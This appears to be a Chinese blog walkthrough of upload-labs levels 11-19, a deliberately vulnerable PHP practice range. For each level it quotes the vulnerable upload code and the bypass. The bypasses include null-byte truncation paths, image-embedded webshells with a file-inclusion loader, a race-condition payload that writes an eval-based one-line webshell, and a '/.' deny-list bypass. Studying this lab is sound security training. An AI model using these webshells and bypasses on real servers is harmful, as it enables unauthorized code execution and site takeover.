文件上传漏洞实例（upload-labs11-19）

最新推荐文章于 2024-03-14 18:40:44 发布
最新推荐文章于 2024-03-14 18:40:44 发布
阅读量4.2k 收藏 13
点赞数 6
分类专栏： 渗透测试
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/whoim_i/article/details/104491000
版权

目录

         ~~~~~~~~         因为想要面对一个新的开始，一个人必须有梦想、有希望、有对未来的憧憬。如果没有这些，就不叫新的开始，而叫逃亡。 ​​​​
                                                                                                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~                                                                                                 ————玛丽亚·杜埃尼亚斯

前言

upload-labs是一个使用php语言编写的，专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关，每一关都包含着不同上传方式。
下图为上传漏洞的思维导图：
在这里插入图片描述

pass-11（get00截断）

代码分析

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错！';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件！";
    }
}

这里是一个白名单过滤，只允许上传，jpg，png，gif三种格式文件。但是在进行move_uploaded_file前，$img_path是利用GET['save_path']和随机时间进行拼接的，这里构造文件存储路径利用了get传入，导致服务器最终存储的文件名可控，因此可利用这个点绕过，即move_uploaded_file函数的底层实现类似于C语言，遇到0x00会截断。

截断条件：
1、php版本小于5.3.4
2、php.ini的magic_quotes_gpc为OFF状态

绕过思路
构造sava_path=/upload/1.php%00绕过在这里插入图片描述

pass-12（post 00截断）

代码分析

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件！";
    }
}

不同的是这次的save_path是通过post传进来的，还是利用00截断，但这次需要在二进制中进行修改，因为post不会像get对%00进行自动解码。
绕过思路
在这里插入图片描述将71改为00，截断q
在这里插入图片描述在这里插入图片描述

pass-13（图片马unpack）

代码分析

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知，上传失败！";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错！";
        }
    }
}

对上传的文件读取前两个字节，通过比对文件头来确认文件类型。
于是就可以制作图片马，将php语句隐藏在图片中，然后结合文件包含漏洞执行php。
绕过思路
可以通过windows下copy制作图片马，代码如下

copy 1.jpg /b + 1.php /a shell.jpg

在这里插入图片描述
在这里插入图片描述
然而直接访问图片并不能当做php来解析，因此还需要利用文件包含漏洞。

##include.php
<?php
/*
本页面存在文件包含漏洞，用于测试图片马是否能正常运行！
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?>

在这里插入图片描述
菜刀连接成功
在这里插入图片描述

pass-14（getimagesize图片马）

代码分析

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知，上传失败！";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错！";
        }
    }
}

这里是用getimagesize来获取文件类型，getimagesize() 函数用于获取图像大小及相关信息，成功返回一个数组，失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。还是直接用图片马进行绕过

pass-15（exif_imagetype图片马）

代码分析

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知，上传失败！";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错！";
        }
    }
}

exif_imagetype()函数是php内置函数，用来获取图片类型，思路同上题，文件头绕过

pass-16（二次渲染绕过）

代码分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息，文件名，类型，大小，临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型，合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片！";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错！";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片！";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错！";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片！";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错！";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件！";
    }
}

本关综合判断了后缀名、content-type，以及利用imagecreatefromgif判断是否为gif图片，最后再做了一次二次渲染
绕过思路
将一个正常显示的图片上传到服务器，然后下载渲染后的图片和原图片进行对比，在仍然相同的数据块部分插入webshell代码再上传。

pass-17（条件竞争）

代码分析

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件！";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错！';
    }
}

这里是先move_uploaded_file函数将上传文件临时保存，再进行判断，如果不在白名单里则unlink删除，在的话就rename重命名，所以这里存在条件竞争。
绕过思路
构建php代码

<?php fputs(fopen("info.php", "w"), '<?php @eval($_POST["pass"]);?>'); ?> 
只要访问了key.php文件，php文件就会成功解析执行，自动创建一个info.php，写入一句话木马：<?php @eval($_POST["pass"]);?>

利用burpsuite开启两个intruder，一个用于重复上传，一个用于重复访问。
1、先设置上传请求,记住此处的文件名，等下要用来拼接访问请求的url
在这里插入图片描述

2、因为此处没有什么参数需要爆破，只是需要重复发起请求，所以payload设置为Null payloads,设置访问次数2000次，线程50个
在这里插入图片描述
3、浏览器构造请求url：http://172.20.10.13/upload-labs/upload/key.php进行brup抓包，然后设置重发两边同时开启来
在这里插入图片描述
当访问到了key.php,就会生成一个info.php的文件，返回200状态码。这里要开运气了，不知道什么时候能碰撞出爱情的火花。

pass-18（条件竞争）

这一关对文件后缀名做了白名单判断，然后会一步一步检查文件大小、文件是否存在等等，将文件上传后，对文件重新命名，同样存在条件竞争的漏洞。可以不断利用burp发送上传图片马的数据包，由于条件竞争，程序会出现来不及rename的问题，从而上传成功

pass-19（./绕过）

代码分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错！';
            }
        }else{
            $msg = '禁止保存为该类型文件！';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

这里img_path可控（通过post sava_name），所以可以利用move_uploaded_file的\x00截断(save_name=1.php%00.jpg)绕过,但\x00截断之前关卡已经出现过了，所以应该是别的知识点。
move_uploaded_file会忽略掉文件末尾的/.
所以可以构造save_path=1.php/.,这样file_ext值就为空，就能绕过黑名单，而move_uploaded_file函数忽略文件末尾的/.可以实现保存文件为.php

绕过思路

1、post: save_name = 1.php%00.jpg
2、post: save_name = 1.php/.

whoim_i
关注
  • 6
    点赞
  • 踩
  • 13
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
上传文件漏洞靶场upload-labs
09-27
上传文件漏洞靶场upload-labs，用于练习上传文件漏洞，学习web安全的小白可用。我的博客也有详细的使用教程
web安全-文件上传漏洞-某CMS及CVE编号文件上传漏洞测试以及实例讲解
ran的博客
01-27 1592
可以看到访问后可以实现上图所示的效果，因为我们这里上传的是普通图片，不是jsp代码，所以网页返回的是一堆乱码，如果我们上传的文件是jsp文件，网页就会返回isp代码执行后的内容。在网址内添加此路径进行搜索，在回显的页面内可以看到上传的文件成功以php的形式进行了执行（因为这里上传的是图片，且没有进行修改，所以返回的全部是乱码）。将“png”改为“php”后放包，正常在上传完文件之后，会返回一个文件的地址，但是这里地址没有显示，并出现了报错。按照搜索到的方法，将“png”改为“php”后放包。
upload文件上传漏洞复现
最新发布
weixin_71398630的博客
03-14 644
文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷，而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马，病毒，恶意脚本或者WebShell等。“文件上传”本身没有问题，有问题的是文件上传后，服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全，则会导致严重的后果。
文件上传漏洞(带实例)
weixin_74790320的博客
12-05 468
现代互联网的Web应用程序中，上传文件是一种常见的功能，因为它有助于提高业务效率，如企业的OA系统，允许用户上传图片，视频，头像和许多其他类型的文件。然而向用户提供的功能越多，Web应用受到攻击的风险就越大，如果Web应用存在文件上传漏洞，那么恶意用户就可以利用文件上传漏洞剑可执行脚本程序（WebShell）上传到服务器中，获得网站的权限，然后可以进一步对服务器进行入侵，扩大控制权限。
文件上传漏洞案例
m0_69435261的博客
09-09 650
这里可以利用别人写好的脚本，将php一句话
文件上传漏洞
realmels的博客
07-02 1858
本专栏是笔者的网络安全学习笔记，一面分享，同时作为笔记 前文链接 WAMP/DVWA/sqli-labs 搭建 burpsuite工具抓包及Intruder暴力破解的使用 目录扫描，请求重发,漏洞扫描等工具的使用 网站信息收集及nmap的下载使用 SQL注入(1)——了解成因和手工注入方法 SQL注入(2)——各种注入 SQL注入(3)——SQLMAP SQL注入(4)——实战SQL注入拿webshell Vulnhub之Me and My Girlfriend 介绍 文件上传漏洞指用户将恶意代码文.
【文件上传漏洞-07】中间件文件解析漏洞概述及实例——Apache、IIS和Nginx
m0_64378913的博客
07-12 3006
（1）第一种：未知扩展名解析漏洞 Apache对文件的解析主要是从右到左开始判断并进行解析，如果判断为不能解析的类型，则继续向左进行解析，如xx.php.wer.xxxxx将被解析为PHP类型。（2）第二种：局部配置 通过htaccess文件进行局部配置，定义不同文件名及后缀的解析方式。参考《【文件上传漏洞-06】.htaccess攻击实验（基于upload-labs-4靶场）》（1）加深理解Apache的两种解析漏洞原理； （2）掌握两种解析漏洞的检测及绕过方法。靶场：基于WAMP环境的...
【文件上传漏洞-03】前端JS检测与绕过实例—以upload-labs-1为例
m0_64378913的博客
05-31 2736
目录1 前端JS检测与绕过2 前端JS检测与绕过实例2.1 实验目的2.2 操作环境2.3 前期准备2.4 具体过程2.4.1 文件上传前期盲测2.4.2 方法一：删除JS直接上传2.4.3 方法二：绕过JS后修改数据3 总结 1 前端JS检测与绕过 在前端用了JS 脚本做检测，如检测文件后缀名等 概述：JS 检测绕过上传漏洞常见于用户选择文件上传的场景，如果上传文件的后缀不被允许，则会弹框告知，此时上传文件的数据包并没有发送到服务端，只是在客户端浏览器使用JavaScript对数据包进行检测。 绕过方
【文件上传漏洞-05】文件上传路径截断实例—以upload-labs-12为例
m0_64378913的博客
07-12 2643
目录1 知识储备2 实验简介2.1 实验目的2.2 实验环境2.3 前期准备3 文件上传路径截断实例3.1 实例一：upload-labs-113.2 实例二：upload-labs-124 总结 1 知识储备 概述：在ASCII码中，00代表的是空字符，在URL中表现为%00。在文件截断攻击中，就是采用空字符来误导服务器截断字符串，以达到绕过攻击的目的。 原理：服务器后台采用的是move_uploaded_file()函数将上传的文件移动到新位置，该函数属于文件系统函数，底层是采用C语言实现的，在C语言中
文件上传漏洞详解（CTF篇）
nobugnomoney的博客
09-16 1万+
需要了解的前置知识： 1.什么是文件上传： 文件上传就是通过流的方式将文件写到服务器上 文件上传必须以POST提交表单 表单中需要 <input type="file" name="upload"> 2.一句话木马 <?php eval($_POST['a']) ?> 其中eval就是执行命令的函数，**$_POST[‘a’]**就是接收的数据。eval函数把接收的数据当作PHP代码来执行。这样我们就能够让插入了一句话木马的网站执行我们传递过去的任意PHP语句。这便是一句话木马
PHP、Apache环境中部署upload-labs(文件上传漏洞靶场)
01-08
PHP、Apache环境中部署upload-labs(文件上传漏洞靶场)
upload-labs19-20以及总结1
08-08
第一步：直接上传php文件，保存名称填成PHP第二步：抓包分析可以看到filename是文件本来的名称，而save_name是传递的参数，此处改为PHP可以绕过
upload-labs-master.zip
06-22
文件上传漏洞小游戏靶场upload-labs-master/upload-labs-master/upload-labs-master/upload-labs-master
文件上传漏洞练习靶场upload-labs
07-05
文件上传漏洞练习靶场upload-labs内有文件上传漏洞的各种类型绕过的例题，非常全面，对加深文件上传漏洞的理解、利用非常有帮助。
OWASP top10 详解
热门推荐
whoim_i的博客
11-24 3万+
目录什么是owasp top10？排行榜(1)SQL 注入(2)失效的身份认证和会话管理(3)跨站脚本攻击 XSS(4)直接引用不安全的对象(5)安全配置错误(6)敏感信息泄露(7)缺少功能级的访问控制(8)跨站请求伪造 CSRF(9)使用含有已知漏洞的组件(10）未验证的重定向和转发 什么是owasp top10？ OWASP（开放式Web应用程序安全项目）的工具、文档、论坛和全球各地分会都是开...
关于SQL注入的一些分析
whoim_i的博客
10-29 1万+
一、sql注入原理 SQL 注入就是指 web 应用程序对用户输入的数据合法性没有过滤或者是判断，前端传入的参数是攻击者可以控制，并且参数带入数据库的查询，攻击者可以通过构造恶意的 sql 语句来实现对数据库的任意操作。 举例说明： id=id=id=_GET[‘id’] sql=SELECT∗FROMusersWHEREid=sql=SELECT * FROM users WHERE id=sq...
arp欺骗攻击与防范技术总结和分析
whoim_i的博客
02-16 1万+
目录前言arp简介arp工作原理arp欺骗原理arp欺骗常见攻击手段遭受arp欺骗攻击现象arp欺骗攻击相关检测方法手动检测方法主机级检测方法网络级探测方法缓存超时检测方法arp欺骗防御措施分析1. 设置静态的arp缓存2. 使用arp服务器3. 划分虚拟局域网（vlan）和端口绑定4. 删除windows系统中的npptools.dll动态连接库。5. 采用arp防火墙6. 对数据包进行加密处理...
失效的身份认证和会话管理
whoim_i的博客
11-20 1万+
目录身份认证和会话管理失效的身份认证和会话管理原理危害案例如何判断如何防范1、区分公共区域和受限区域2、对最终用户帐户使用帐户锁定策略3、支持密码有效期4、能够禁用帐户5、不要存储用户密码6、要求使用强密码7、不要在网络上以纯文本形式发送密码8、保护身份验证 Cookie9、使用 SSL 保护会话身份验证 Cookie10、对身份验证 cookie 的内容进行加密11、限制会话寿命12、避免未经授...
upload-labs 验证文件
09-17
对于upload-labs验证文件，可以使用以下...8. 完成上传后，upload-labs网站将会对你上传的文件进行验证。你会得到一个验证结果。 请注意，确保在进行任何演示或测试时遵循适当的安全措施，以防止任何潜在的安全问题。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值